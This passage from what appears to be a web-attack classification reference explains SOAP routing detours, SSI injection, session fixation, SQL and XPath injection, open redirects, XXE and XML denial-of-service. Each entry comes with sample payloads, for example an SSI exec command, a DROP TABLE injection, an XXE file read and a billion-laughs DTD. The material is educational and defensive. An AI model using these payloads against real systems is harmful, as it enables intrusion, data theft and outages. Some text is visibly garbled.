WS-Addressing is a newer standard published by the W3C to provide routing functionality to SOAP messages. One of the key differences between WS-Routing and WS-Addressing is that WS-Addressing only provides the next location in the route. While little research has been done into the susceptibility of WS-Addressing to Routing Detour Attack, at least one paper (see reference #6 below) suggests that WS-Addressing is vulnerable to Routing Detour as well.

WS ROUTING EXAMPLE

Here is an example SOAP call from a client, example_1.com, to a target, example_4.com, via 2 intermediaries, example_2.com & example_3.com. (note: The client here is not necessarily a 'end user client' but rather the starting point of the XML transaction, ie. A server.)

Example SOAP message with Routing information in header:

```
<S:Envelope>
<S:Header>
<m:path
  xmlns:m="http://schemas.example.com/rp/"
  S:actor="http://schemas.example.com/soap/actor"
  S:mustUnderstand="1">
<m:action>http://example_1.com/</m:action>
<m:to>http://example_4.com/router</m:to>
<m:id>uuid:1235678-abcd-1a2b-3c4d-1a2b3c4d5e6f</m:id>
<m:fwd>
<m:via>http://example_2.com/router</m:via>
</m:fwd>
<m:rev />
</m:path>
</S:Header>
<S:Body>
...
</S:Body>
</S:Envelope>
```

Example of a WS-Referral message to add an additional node (example_3.com/router) to the XML path:

```
<r:ref xmlns:r="http://schemas.example.com/referral">
<r:for>
<r:prefix>http://example_2.com/router</r:prefix>
</r:for>
<r:if/>
<r:go>
<r:via>http://example_3.com/router</r:via>
</r:go>
</r:ref>
```

Resulting in the following SOAP Header:

```
<S:Envelope>
<S:Header>
<m:path
xmlns:m="http://schemas.example.com/rp/"
S:actor="http://schemas.example.com/soap/actor"
S:mustUnderstand="1">
<m:action>http://example_1.com/</m:action>
<m:to>http://example_4.com/router</m:to>
<m:id>uuid:1235678-abcd-1a2b-3c4d-1a2b3c4d5e6f</m:id>
<m:fwd>
<m:via>http://example_2.com/router</m:via>
<m:via>http://example_3.com/router</m:via>
</m:fwd>
<m:rev />
</m:path>
</S:Header>
<S:Body>
...
</S:Body>
</S:Envelope>
```

The attacker in the following example has the ability to inject a bogus routing node (using a WS-Referral service) into the routing table of the XML header but not access the message directly on the initiator/intermediary node that he/she has targeted.

Example of WS-Referral based WS-Routing injection of the bogus node route:

```
<r:ref xmlns:r="http://schemas.example.com/referral">
<r:for>
<r:prefix>http://example_2.com/router</r:prefix>
</r:for>
<r:if/>
<r:go>
<r:via>http://evilsite_1.com/router</r:via>
</r:go>
</r:ref>
```

Resulting Routing Detour attack:

```
<S:Envelope>
<S:Header>
<m:path
xmlns:m="http://schemas.example.com/rp/"
S:actor="http://schemas.example.com/soap/actor"
S:mustUnderstand="1">
<m:action>http://example_0.com/</m:action>
<m:to>http://example_4.com/router</m:to>
<m:id>uuid:1235678-abcd-1a2b-3c4d-1a2b3c4d5e6f</m:id>
<m:fwd>
<m:via>http://example_2.com/router</m:via>
<m:via>http://evilesite_1.com/router</m:via>
<m:via>http://example_3.com/router</m:via>
</m:fwd>
<m:rev />
</m:path>
</S:Header>
<S:Body>
...
</S:Body>
</S:Envelope>
```

Thus, using Routing Detour, the attacker can route the XML message to a hacker controlled node (and access to the message contents).

REFERENCES

WS-Routing Specification

[1] http://msdn.microsoft.com/en-us/library/ms951272.aspx

Attacking and Defending Web Services, Pete Lindstrom

[2] http://www.forumsys.com/resources/resources/whitepapers/Attacking_and_Defending_WS.pdf

Web Services Hacking: From Progress Software's Actional Whitepapers on Web Service Risks

[3] http://www.actional.com/resources/whitepapers/Web-Service-Risks/Web-Services-Hacking.html

Threat Protection in a Service Oriented World, Andre Yee, CEO

[4] http://www.unatekconference.com/images/pdfs/presentations/Yee.pdf

WS-Addressing Working Group (W3C)

[5] http://www.w3.org/2002/ws/addr/

Web Services Referral Protocol (WS-Referral) Global XML Web Services Specifications

[6] http://msdn.microsoft.com/en-us/library/ms951244.aspx

Anatomy of a Web Services Attack, Walid Negm (Forum Systems)

[7]http://www.forumsys.com/resources/resources/whitepapers/Anatomy_of_Attack_wp.pdf

SOAP ARRAY ABUSE (WASC-35)

XML SOAP arrays are a common target for malicious abuse. SOAP arrays are defined as having a type of "SOAP-ENC:Array" or a type derived there from. SOAP arrays have one or more dimensions (rank) whose members are distinguished by ordinal position. An array value is represented as a series of elements reflecting the array, with members appearing in ascending ordinal sequence. For multi-dimensional arrays the dimension on the right side varies most rapidly. Each member element is named as an independent element. A web-service that expects an array can be the target of a XML DoS attack by forcing the SOAP server to build a huge array in the machine's memory, thus inflicting a DoS condition on the machine due to the memory pre-allocation.

An example of this is the "DoS attack using SOAP arrays":

```
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
<SOAP-ENV:Body>
<fn:PerformFunction xmlns:fn="foo">
<DataSet xsi:type="SOAP-ENC:Array" SOAP-ENC:arrayType="xsd:string[100000]">
<item xsi:type="xsd:string">Data1</item>
<item xsi:type="xsd:string">Data2</item>
<item xsi:type="xsd:string">Data3</item>
</DataSet>
</fn:PerformFunction>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
```

REFERENCES

W3C Simple Object Access Protocol (SOAP) Standard

[1] http://www.w3.org/TR/soap/

W3C Simple Object Access Protocol (SOAP) 1.1 – SOAP Arrays

[2] http://www.w3.org/TR/2000/NOTE-SOAP-20000508/#_Toc478383522

"Multiple Vendor SOAP server array DoS" (Mar 15 2004), Amit Klein

[3] http://www.securityfocus.com/archive/1/357436

The SOA/XML Threat Model and New XML/SOA/Web 2.0 Attacks & Threats (Defcon 15), Steve Orrin

[4] http://www.safesoa.org/data/dc-15-Orrin-v2.pdf

SSI INJECTION (WASC-36)

SSI Injection (Server-side Include) is a server-side exploit technique that allows an attacker to send code into a web application, which will later be executed locally by the web server. SSI Injection exploits a web application's failure to sanitize user-supplied data before they are inserted into a server-side interpreted HTML file.

Before serving an HTML web page, a web server may parse and execute Server-side Include statements before providing it to the client. In some cases (e.g. message boards, guest books, or content management systems), a web application will insert user-supplied data into the source of a web page.

If an attacker submits a Server-side Include statement, he may have the ability to execute arbitrary operating system commands, or include a restricted file's contents the next time the page is served. This is performed at the permission level of the web server user.

EXAMPLE

The following SSI tag can allow an attacker to get the root directory listing on a UNIX based system.

```
<!--#exec cmd="/bin/ls /" →
```

The following SSI tag can allow an attacker to obtain database connection strings, or other sensitive data contained within a .NET configuration file.

```
<!--#INCLUDE VIRTUAL="/web.config"→
```

MITIGATION

Disable SSI execution on pages that do not require it. For pages requiring SSI ensure that you perform the following checks

- Only enable the SSI directives that are needed for this page and disable all others.
- HTML entity encode user supplied data before passing it to a page with SSI execution permissions.
- Use SUExec[5] to have the page execute as the owner of the file instead of the web server user.

REFERENCES

"Server Side Includes (SSI)" – NCSA HTTPd

[1] http://hoohoo.ncsa.uiuc.edu/docs/tutorials/includes.html

"Security Tips for Server Configuration" – Apache HTTPD

[2] http://httpd.apache.org/docs/misc/security_tips.html#ssi

"Header Based Exploitation: Web Statistical Software Threats" – CGISecurity.com

[3] http://www.cgisecurity.net/papers/header-based-exploitation.txt

"A practical vulnerability analysis"

[4] http://hexagon.itgo.com/Notadetapa/a_practical_vulnerability_analys.htm

"Apache suEXEC Support"

[5] http://httpd.apache.org/docs/1.3/suexec.html

http://httpd.apache.org/docs/2.0/suexec.html

"Apache Tutorial: Introduction to Server Side Includes"

[6] http://httpd.apache.org/docs/2.0/howto/ssi.html

http://httpd.apache.org/docs/1.3/howto/ssi.html

"Testing for SSI Injection"

[7] http://www.owasp.org/index.php/Testing_for_SSI_Injection

Server Side Include (SSI) Injection

[8] http://capec.mitre.org/data/definitions/101.html

SESSION FIXATION (WASC-37)

Session Fixation is an attack technique that forces a user's session ID to an explicit value. Depending on the functionality of the target web site, a number of techniques can be utilized to "fix" the session ID value. These techniques range from Cross-site Scripting exploits to peppering the web site with previously made HTTP requests. After a user's session ID has been fixed, the attacker will wait for that user to login. Once the user does so, the attacker uses the predefined session ID value to assume the same online identity.

Generally speaking there are two types of session management systems when it comes to ID values. The first type is "permissive" systems that allow web browsers to specify any ID. The second type is "strict" systems that only accept server-side-generated values. With permissive systems, arbitrary session IDs are maintained without contact with the web site. Strict systems require the attacker to maintain the "trap-session", with periodic web site contact, preventing inactivity timeouts.

Without active protection against Session Fixation, the attack can be mounted against any web site that uses sessions to identify authenticated users. Web sites using sessions IDs are normally cookie-based, but URLs and hidden form fields are used as well. Unfortunately, cookie-based sessions are the easiest to attack. Most of the currently identified attack methods are aimed toward the fixation of cookies.

In contrast to stealing a users' session IDs after they have logged into a web site, Session Fixation provides a much wider window of opportunity. The active part of the attack takes place before a user logs in.

EXAMPLE

The Session Fixation attack is normally a three step process:

1. **Session set-up**

The attacker sets up a "trap-session" for the target web site and obtains that session's ID. Or, the attacker may select an arbitrary session ID used in the attack.

In some cases, the established trap session value must be maintained (kept alive) with repeated web site contact.

2. Session fixation

The attacker introduces the trap session value into the user's browser and fixes the user's session ID.

2. **Session entrance**

The attacker waits until the user logs into the target web site. When the user does so, the fixed session ID value will be used and the attacker may take over.

Fixing a user's session ID value can be achieved with the following techniques:

Issuing a new session ID cookie value using a client-side script*

A Cross-site Scripting vulnerability present on any web site in the domain can be used to modify the current cookie value

Code Snippet:

```
http://example/<script>document.cookie="sessionid=1234;%20domain=.example.dom";</
script>.idc
```

Issuing a cookie using the META tag

This method is similar to the previous one, but also effective when Cross-site Scripting countermeasures prevent the injection of HTML script tags and not meta tags.

Code Snippet:

```
http://example/<meta%20http-equiv=Set-
Cookie%20content="sessionid=1234;%20domain=.example.dom">.idc
```

Issuing a cookie using an HTTP response header

The attacker forces either the target web site, or any other site in the domain, to issue a session ID cookie. This can be achieved in many ways:

- Breaking into a web server in the domain (e.g., a poorly maintained WAP server)
- Poisoning a user's DNS server, effectively adding the attacker's web server to the domain
- Setting up a malicious web server in the domain (e.g., on a workstation in Windows 2000 domain, all workstations are also in the DNS domain)
- Exploiting an HTTP Response Splitting attack

Note: A long-term Session Fixation attack can be achieved by issuing a persistent cookie (e.g., expiring in 10 years), which will keep the session fixed even after the user restarts the computer.

Code Snippet:

```
http://example/<script>document.cookie="sessionid=1234;%20Expires=Friday,%201-
Jan2010%2000:00:00%20GMT";</script>.idc
```

REFERENCES

"Session Fixation Vulnerability in Web-based Applications", By Mitja Kolsek – Acros Security

[1] http://www.acrossecurity.com/papers/session_fixation.pdf

"Divide and Conquer", By Amit Klein – Sanctum

[2] http://packetstormsecurity.org/papers/general/whitepaper_httpresponse.pdf

Session Fixation

[3] http://cwe.mitre.org/data/definitions/384.html

SQL INJECTION (WASC-19)

SQL Injection is an attack technique used to exploit applications that construct SQL statements from user-supplied input. When successful, the attacker is able to change the logic of SQL statements executed against the database.

Structured Query Language (SQL) is a specialized programming language for sending queries to databases. The SQL programming language is both an ANSI and an ISO standard, though many database products supporting SQL do so with proprietary extensions to the standard language. Applications often use user-supplied data to create SQL statements. If an application fails to properly construct SQL statements it is possible for an attacker to alter the statement structure and execute unplanned and potentially hostile commands. When such commands are executed, they do so under the context of the user specified by the application executing the statement. This capability allows attackers to gain control of all database resources accessible by that user, up to and including the ability to execute commands on the hosting system.

SQL INJECTION USING DYNAMIC STRINGS

A web based authentication form might build a SQL command string using the following method:

```
SQLCommand = "SELECT Username FROM Users WHERE Username = '"
SQLCommand = SQLComand & strUsername
SQLCommand = SQLComand & "' AND Password = '"
SQLCommand = SQLComand & strPassword
SQLCommand = SQLComand & "'"
strAuthCheck = GetQueryResult(SQLQuery)
```

Example 1 – Dynamically built SQL command string

In this code, the developer combines the input from the user, `strUserName` and `strPassword`, with the logic of the SQL query. Suppose an attacker submits a login and password that looks like the following:

```
Username: foo
Password: bar' OR ''='
```

The SQL command string built from this input would be as follows:

```
SELECT Username FROM Users WHERE Username = 'foo'
AND Password = 'bar' OR ''=''
```

This query will return all rows from the user's database, regardless of whether "foo" is a real user name or "bar" is a legitimate password. This is due to the OR statement appended to the WHERE clause. The comparison ''='' will always return a "true" result, making the overall WHERE clause evaluate to true for all rows in the table. If this is used for authentication purposes, the attacker will often be logged in as the first or last user in the Users table.

SQL INJECTION IN STORED PROCEDURES

It is common for SQL Injection attacks to be mitigated by relying on parameterized arguments passed to stored procedures. The following examples illustrate the need to audit the means by which stored procedures are called and the stored procedures themselves.

```
SQLCommand = "exec LogonUser '" + strUserName + "','" + strPassword + "'"
```

Example 2 – SQL Injection in stored procedure execute statement

Using a stored procedure does not imply that the statement used to call the stored procedure is safe. An attacker could supply input like the following to execute additional statements:

```
Username: foo
```

```
Password: '; DROP TABLE Users-
```

The generated SQLCommand string would be:

```
exec LogonUser 'foo','''; DROP TABLE Users-'
```

On a Microsoft SQL server, using the above SQL command string will execute two statements: the first will likely not identify a user to log in, and the second would remove the Users table from the database.

The following example would be problematic even if the stored procedure were executed using a prepared or parameterized statement:

```
CREATE PROCEDURE LoginUser
@Username varchar(50) = '',
@Password varchar(50) = ''
AS
BEGIN
DECLARE @command varchar(100)
set @command = 'select * from Users where Username = ''' +
@Username +
''' and Password = ''' +
@Password +
''''
EXEC (@command)
END
GO
```

Example 3 – SQL Injection within a stored procedure

Stored procedures themselves can build dynamic statements, and these are susceptible to SQL Injection attacks. The attack against this stored procedure would be carried out in an identical fashion to Example 1.

It should be noted that attempts to escape dangerous characters are not sufficient to address these flaws, even within stored procedures as in Example 3. The referenced article "New SQL Truncation Attacks And How To Avoid Them" ([8]) demonstrates how assigning strings to fixed-size variables, like the varchars in Example 3, can cause those strings to be truncated and lead to SQL Injection attacks.

SQL INJECTION IDENTIFICATION AND EXPLOITATION

There are two commonly known methods of identifying a SQL injection attack: SQL Injection and Blind SQL Injection.

SQL INJECTION

The first method commonly used to identify and exploit SQL Injection used information provided by errors generated during testing. These errors often would

include the text of the offending SQL statement and details on the nature of the error. Such information is very helpful when creating reliable exploits for SQL Injection attacks.

By appending a union select statement to the parameter, the attacker can test for access to other tables in the target database:

```
http://example/article.asp?ID=2+union+all+select+name+from+sysobjects
```

The database server might return an error similar to this:

```
Microsoft OLE DB Provider for ODBC Drivers error
‘80040e14’
[Microsoft][ODBC SQL Server Driver][SQL Server]All
queries in an SQL statement containing a UNION
operator must have an equal number of expressions
in their target lists.
```

This error informs the attacker that the query structure was slightly incorrect, but that it will likely be successful once the test query’s column count matches the original query statement.

BLIND SQL INJECTION

Blind SQL Injection techniques must be used when detailed error messages are not provided to the attacker. It is often the case that web applications will display a user-friendly error page with minimal technical data, effectively “blinding” those exploitation techniques described above.

In order to exploit SQL Injection in such scenarios, the attacker gathers information by other means, such differential timing analysis or the manipulation of user-visible state. One common example of the latter is to analyze the behavior of a system when passed values that would evaluate to a false and true result when used in a SQL statement.

If a SQL Injection weakness is present, then executing the following request on a web site:

```
http://example/article.asp?ID=2+and+1=1
```

should return the same web page as:

```
http://example/article.asp?ID=2
```

because the SQL statement `and 1=1` is always true.

Executing the following request to a web site:

```
http://example/article.asp?ID=2+and+1=0
```

would then cause the web site to return a friendly error or no page at all. This is because the SQL statement `and 1=0` is always false.

Once the attacker discovers that a site is susceptible to Blind SQL Injection, exploitation can proceed using established techniques.

REFERENCES

"Advanced SQL Injection in SQL Server Applications", Chris Anley – NGSSoftware

[1] http://www.nextgenss.com/papers/advanced_sql_injection.pdf

"More advanced SQL Injection", Chris Anley – NGSSoftware

[2] http://www.nextgenss.com/papers/more_advanced_sql_injection.pdf

"Web Application Disassembly with ODBC Error Messages", David Litchfield - @stake

[3] http://www.nextgenss.com/papers/webappdis.doc

"SQL Injection Walkthrough"

[4] http://www.securiteam.com/securityreviews/5DP0N1P76E.html

"Blind SQL Injection" – Imperva

[5] http://www.imperva.com/resources/adc/blind_sql_server_injection.html

"SQL Injection Signatures Evasion" – Imperva

[6] http://www.imperva.com/resources/adc/sql_injection_signatures_evasion.html

"Introduction to SQL Injection Attacks for Oracle Developers" – Integrigy

[7] http://www.net-security.org/dl/articles/IntegrigyIntrotoSQLInjectionAttacks.pdf

"New SQL Truncation Attacks And How To Avoid Them", Bala Neerumalla

[8] http://msdn.microsoft.com/en-us/magazine/cc163523.aspx

"CWE-89: Failure to Preserve SQL Query Structure (aka 'SQL Injection')"

[9] http://cwe.mitre.org/data/definitions/89.html

"CAPEC: SQL Injection"

[10] http://capec.mitre.org/data/definitions/66.html

"OWASP: SQL Injection"

[11] http://www.owasp.org/index.php/SQL_injection

"List of Web Hacking Incidents: SQL Injection"

[12] http://whid.webappsec.org/whid-list/SQL+Injection

URL REDIRECTOR ABUSE (WASC-38)

URL redirectors represent common functionality employed by web sites to forward an incoming request to an alternate resource. This can be done for a variety of reasons and is often done to allow resources to be moved within the directory structure and to avoid breaking functionality for users that request the resource at its previous location. URL redirectors may also be used to implement load balancing, leveraging abbreviated URLs or recording outgoing links. It is this last implementation which is often used in phishing attacks as described in the example below. URL redirectors do not necessarily represent a direct security vulnerability but can be abused by attackers trying to social engineer victims into believing that they are navigating to a site other than the true destination.

PHISHING EXAMPLE

In the example below, assume that original_site.com wants to log external links that visitors follow when leaving the site. This information would not ordinarily be captured in the server logs as the browser would simply make a request to the external site and not communicate further with the original site. One way that sites keep track of external links followed is to redirect the user from a local resource rather than linking directly to the external site. In the example below, instead of linking directly to external_site.com, a link points to redirect functionality at the local redirect.html page and passes in the ultimate destination as a parameter.

```
http://original_site.com/redirect.html?q=http://external_site.com/external_page.html
```

When such functionality is identified on popular websites, phishers will take advantage of it to fool unsuspecting users into believing that they are navigating to the well known site as opposed to the attacker controlled site. For example, an attacker could leverage the previous redirect to trick a user into surfing to the attacker controlled evil.com website by embedding the following URL in an HTML email message:

```
http://original_site.com/redirect.html?q=http://evil.com/evil_page.html
```

When the victim checks the destination URL perhaps by hovering over the link and noting the address in the status bar they may mistakenly believe that they were surfing to the trusted 110nterpre_site.com, not the evil.com site. This may succeed

because users are accustomed to only recognizing the initial domain name or perhaps lengthy URLs will be truncated in the display. Attackers can also enhance such a social engineering attack by further obfuscating the redirected URL through various obfuscation techniques. For example, the URL below displays the same redirected URL but the 'evil.com' domain has been converted to its hexadecimal equivalent.

```
http://original_site.com/redirect.html?q=http://%65%76%69%6c%2e%63%6f%6d/evil_page.html
```

IMPLEMENTING URL REDIRECTORS

There are multiple ways to implement URL redirectors. A brief overview of each is described below.

3. **HTTP 3xx Status Codes** – RFC 2616 – "Hypertext Transfer Protocol – HTTP/1.1" defines a variety of 3xx status codes that will cause a browser to redirect to a specified location:

- 300 Multiple Choices – Multiple possible destinations selected either by the user or user agent determined by agent-driven negotiation information.
- 301 Moved Permanently – Indicates that the resource has been permanently moved and that the redirected URI should be used for future requests.
- 302 Found – Indicates that the resource has been temporarily moved and that future requests should therefore continue to use the initially requested URI.
- 303 See Other – The response can be requested from an alternate URI which should be requested using a GET method. This is generally used by the output of POST driven scripts.
- 307 Temporary Redirect – Much like the 302 status code, 307 indicates a temporary redirection. While 302 was originally intended to require that the redirected request not alter the request method, in practice many clients changed the redirected request method to a GET request. Therefore, status code 307 was added to explicitly indicate that the redirected request method should not be altered.

The destination of the redirection is determined by the Location header.

2. Client Side Scripting – A variety of client side scripting languages can be used to implement URL redirection. The following examples uses JavaScript to redirect the browser to example.com:

```
<script language="JavaScript" type="text/javascript">
document.location.href = 'http://example.com';
</script>
```

4. **META REFRESH Tag** – An HTML meta element which specifies the time in seconds before the browser is to refresh the page. Providing an alternate URIallows the element to be used as a timed URL redirector. For example, in the following example the browser will redirect to example.com after 5 seconds:

```
<meta http-equiv="refresh" content="5;url=http://example.com">
```

5. **Refresh Header** – The Refresh header is not detailed in any HTTP RFCs but was instead introduced by Netscape in a paper entitled An Exploration of Dynamic Documents. It was implemented as a feature in Netscape Navigator 1.1 and is now supported by most modern browsers. A sample Refresh header is shown below:

```
Refresh: 10; URL=http://example.com
```

In this example, after 10 seconds, the browser would redirect to http://example.com. In situations where the Refresh header is dynamically generated using user supplied content, it could leave an application vulnerable to an HTTP Response Splitting attack as was the case in a PhpBB vulnerability discovered by Ory Segal in 2004.

REFERENCES

"A Refreshing Look at Redirection", Amit Klein

[1] http://www.webappsec.org/lists/websecurity/archive/2006-11/msg00003.html

"Google Redirection Hole Used For Phishing", Rsnake

[2] http://ha.ckers.org/blog/20060822/google-redirection-hole-used-for-phishing/

"An Exploration of Dynamic Documents", Netscape

[3] http://www.citycat.ru/doc/HTML/Netscape/pushpull.html

"RFC 2616"

[4] http://www.w3.org/Protocols/rfc2616/rfc2616.html

URL Redirection to Untrusted Site ('Open Redirect')

[5] http://cwe.mitre.org/data/definitions/601.html

XPATH INJECTION (WASC-39)

XPath Injection is an attack technique used to exploit applications that construct XPath (XML Path Language) queries from user-supplied input to query or navigate XML documents. It can be used directly by an application to query an XML document, as part of a larger operation such as applying an XSLT transformation to an XML document, or applying an XQuery to an XML document. The syntax of XPath bears some resemblance to an SQL query, and indeed, it is possible to form SQL-like queries on an XML document using XPath. For example, assume an XML document that contains elements by the name user, each of which contains three sub elements – name, password and account. The following XPath expression yields the account number of the user whose name is "jsmith" and whose password is "Demo1234" (or an empty string if no such user exists):

```
string(//user[name/text()='jsmith' and
password/text()='Demo1234']/account/text())
```

If an application uses run-time XPath query construction, embedding unsafe user input into the query, it may be possible for the attacker to inject data into the query such that the newly formed query will be parsed in a way differing from the programmer's intention.

EXAMPLE

Consider a web application that uses XPath to query an XML document and retrieve the account number of a user whose name and password are received from the client. Such application may embed these values directly in the XPath query, thereby creating a security hole.

Here's an example (assuming Microsoft ASP.NET and C#):

```
XmlDocument XmlDoc = new XmlDocument();
XmlDoc.Load("...");

XpathNavigator nav = XmlDoc.CreateNavigator();
XpathExpression expr =
nav.Compile("string(//user[name/text()='"+TextBox1.Text+"'
and password/text()='"+TextBox2.Text+
"']/account/text())");

String account=Convert.ToString(nav.Evaluate(expr));
if (account=="") {
       // name+password pair is not found in the XML document
-
       // login failed.
} else {
       // account found -> Login succeeded.
       // Proceed into the application.
```

```
}
```

When such code is used, an attacker can inject Xpath expressions, e.g. provide the following value as a user name:

```
‘ or 1=1 or ‘’=’
```

This causes the semantics of the original Xpath to change, so that it always returns the first account number in the XML document. The query, in this case, will be:

```
string(//user[name/text()=’’ or 1=1 or ‘’=’’ and
password/text()=’foobar’]/account/text())
```

Which is identical (since the predicate is evaluates to true on all nodes) to:

```
string(//user/account/text())
```

Yielding the first instance of //user/account/text().

The attack, therefore, results in having the attacker logged in (as the first user listed in the XML document), although the attacker did not provide any valid user name or password.

XPATH 2.0

XPath 2.0 (http://www.w3.org/TR/xpath20/) attained a W3C “Recommendation” status in 2007. It expands the XPath 1.0 language in many aspects. The above discussion assumed XPath 1.0 syntax (which is fully incorporated in XPath 2.0). Yet if XPath 2.0 is used, then additional language features can be exploited by the attacker (once the initial injection vulnerability is found). For example, in XPath 2.0, it is possible to reference not just the “current” document, but (in theory), any accessible document, by its URL (using “http”/”https” scheme of “file” scheme).

REFERENCES

“XML Path Language (Xpath) Version 1.0” W3C Recommendation, 16 Nov 1999

[1] http://www.w3.org/TR/xpath

“Encoding a Taxonomy of Web Attacks with Different-Length Vectors”, G. Alvarez and S. Petrovic

[2] http://arxiv.org/PS_cache/cs/pdf/0210/0210026v1.pdf

“Blind Xpath Injection”, Amit Klein

[3] http://www.packetstormsecurity.org/papers/bypass/Blind_XPath_Injection_20040518.pdf

Failure to Sanitize Data within Xpath Expressions ('Xpath injection')

[4] http://cwe.mitre.org/data/definitions/643.html

XML ATTRIBUTE BLOWUP (WASC-41)

XML Attribute Blowup is a denial of service attack against XML parsers. The attacker provides a malicious XML document, which vulnerable XML parsers process in a very inefficient manner, leading to excessive CPU load. The essence of the attack is to include many attributes in the same XML node. Vulnerable XML parsers manage the attributes in an inefficient manner (e.g. in a data container for which insertion of a new attribute has *O(n)* runtime), resulting in a non-linear (in this example, quadratic, i.e. $O(n^2)$) overall runtime, leading to a denial of service condition via CPU exhaustion.

Example:

```
<?xml version="1.0"?>
<foo
a1=""
a2=""
...
a10000=""
/>
```

In this example, there are 10,000 attributes in the foo node, thus a vulnerable XML parser would perform around 50,000,000 "basic operations" (the sum of work in all 10,000 insertions, i.e. the sum of the numbers 1-10,000). If each such operation takes 100 nanoseconds to complete, the overall processing time for this XML document would be 5 seconds. The size of the XML document is around 90KB. A more sustainable DoS can be achieved with 100,000 attributes, in which case there will be around 5,000,000,000 "basic operations" (sum of 1-100,000), taking 500 seconds. The size of the XML document in this case will be 1MB. In both cases, it's possible to reduce the size of the XML document by using the full range (uppercase letters, lowercase letters, digits, etc.) of the possible XML attribute name. That is, instead of using attribute names consisting of a leading letter ("a" in the above examples) and digits, an attacker can use attribute name using a combination of lowercase letters, uppercase letters and digits such as "aaa", "aaA" and "az9". By doing so, it's possible to generate 100,000 different attribute names using only 3

characters (instead of attribute name of 6 characters, as in the above example) – this reduces the XML document size from 1MB to about 700KB.

This issue can be solved either by limiting the amount of attributes per XML element (or more coarsely, limiting the total size of the XML document), or by using a more efficient data container, e.g. (assuming C++) the STL map container [4].

REFERENCES

Amit Klein: IIS 5.x/6.0 WebDAV (XML parser) attribute blowup DoS

[1] http://www.securityfocus.com/archive/1/378179

Amit Klein: Multiple Vendor SOAP server (XML parser) attribute blowup DoS

[2] http://www.securityfocus.com/archive/1/346973

Amit Klein: Xerces-C++ 2.5.0: Attribute blowup denial-of-service

[3] http://www.securityfocus.com/archive/1/377344

Wikipedia entry 'map (C++ container)'

[4] http://en.wikipedia.org/wiki/Map_(C%2B%2B_container

See also 'Denial of Service'

[5] https://projects.webappsec.org/Denial-Of-Service

XML EXTERNAL ENTITIES (XXE) (WASC-43)

This technique takes advantage of a feature of XML to build documents dynamically at the time of processing. An XML message can either provide data explicitly or by pointing to an URI where the data exists. In the attack technique, external entities may replace the entity value with malicious data, alternate referrals or may compromise the security of the data the server/XML application has access to.

In the example below, the attacker takes advantage of an XML Parser's local server access privileges to compromise local data:

```
...
<!DOCTYPE root
[
<!ENTITY foo SYSTEM "file:///c:/winnt/win.ini">
]>
...
<in>&foo;</in>
```

How it works:

1. The application expects XML input with a parameter called "in". This parameter is later embedded in the application's output.

2. The application typically invokes an XML parser to parse the XML input (if the application is a web service that uses a framework such as .NET, then this happens automatically courtesy of the underlying web services framework).

3. The XML parser expands the entity "foo" into its full text, from the entity definition provided in the URL. Here the actual attack takes place.

4. The Application embeds the input (parameter "in", which contains the win.ini file) to the web service response.

5. The web service echoes back the data.

Attackers may also use External Entities to have the web services server download malicious code or content to the server for use in secondary or follow on attacks.

REFERENCES

XXE (Xml eXternal Entity) Attack

[1] http://www.securiteam.com/securitynews/6D0100A5PU.html

Adobe Reader XML External Entity Attack

[2] http://shh.thathost.com/secadv/adobexxe/

Threat Protection in a Service Oriented World, Andre Yee CEO NFR Security

[3] http://www.unatekconference.com/images/pdfs/presentations/Yee.pdf

Attacking and Defending Web Services, By Pete Lindstrom Research Director Spire Security, LLC

[4] http://www.forumsys.com/resources/resources/whitepapers/Attacking_and_Defending_WS.pdf

The SOA/XML Threat Model and New XML/SOA/Web 2.0 Attacks & Threats (Defcon 15), Steve Orrin, Dir of Security Solutions, SSG-SPI Intel Corp.

[5] http://www.safesoa.org/data/dc-15-Orrin-v2.pdf

XML ENTITY EXPANSION (WASC-44)

The XML Entity expansion attack, exploits a capability in XML DTDs that allows the creation of custom macros, called entities, that can be used throughout a document. By recursively defining a set of custom entities at the top of a document, an attacker can overwhelm parsers that attempt to completely resolve the entities by forcing them to iterate almost indefinitely on these recursive definitions.

The malicious XML message is used to force recursive entity expansion (or other repeated processing) that completely uses up available server resources. The most common example of this type of attack is the "many laughs" attack (some times called the 'billion laughs' attack).

```
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY ha "Ha !">
<!ENTITY ha2 "&ha; &ha;">
<!ENTITY ha3 "&ha2; &ha2;">
<!ENTITY ha4 "&ha3; &ha3;">
<!ENTITY ha5 "&ha4; &ha4;">
...
<!ENTITY ha128 "&ha127; &ha127;">
]>
<root>&ha128;</root>
```

In the above example, the CPU is monopolized while the entities are being expanded, and each entity takes up X amount of memory – eventually consuming all available resources and effectively preventing legitimate traffic from being processed.

One of the first widespread XML DoS attacks was an entity expansion attack, where an unprivileged user could use completely correct entity declarations in an XML message to cause a DoS condition on unprotected/unhardened XML 1.0 standard-compliant parsers. When a vulnerable parser encounters such a message, recursive entity declarations cause the parser to shut down with an out-of-memory error or to use an excessive amount of processor cycles.

Another example of Entity Expansion is Quadratic Blowup attacks. Here the Entity feature is used by the attacker who defines a single huge entity (say, 100KB), and references it many times (say, 30000 times), inside an element that is used by the application (e.g. inside a SOAP string parameter).

For example:

```
<?xml version="1.0"?>
<!DOCTYPE foobar [<!ENTITY x "AAAAA… [100KB of them] … AAAA">]>
<root>
<hi>&x;&x;….[30000 of them] … &x;&x;</hi>
</root>
```

REFERENCES

Amit Klein: Multiple vendors XML parser (and SOAP/WebServices server) Denial of Service attack using DTD

[1] http://www.securityfocus.com/archive/1/303509

Threat Protection in a Service Oriented World, Andre Yee, NFR Security

[2] http://www.unatekconference.com/images/pdfs/presentations/Yee.pdf

Attacking and Defending Web Services By Pete Lindstrom, Research Director Spire Security, LLC

[3] http://www.forumsys.com/resources/resources/whitepapers/Attacking_and_Defending_WS.pdf

Elliotte Rusty Harold "Configure SAX parsers for secure processing"

[4] http://www.ibm.com/developerworks/xml/library/x-tipcfsx.html

The SOA/XML Threat Model and New XML/SOA/Web 2.0 Attacks & Threats (Defcon 15), Steve Orrin, Dir of Security Solutions, SSG-SPI Intel Corp.

[5] http://www.safesoa.org/data/dc-15-Orrin-v2.pdf

XML INJECTION (WASC-23)

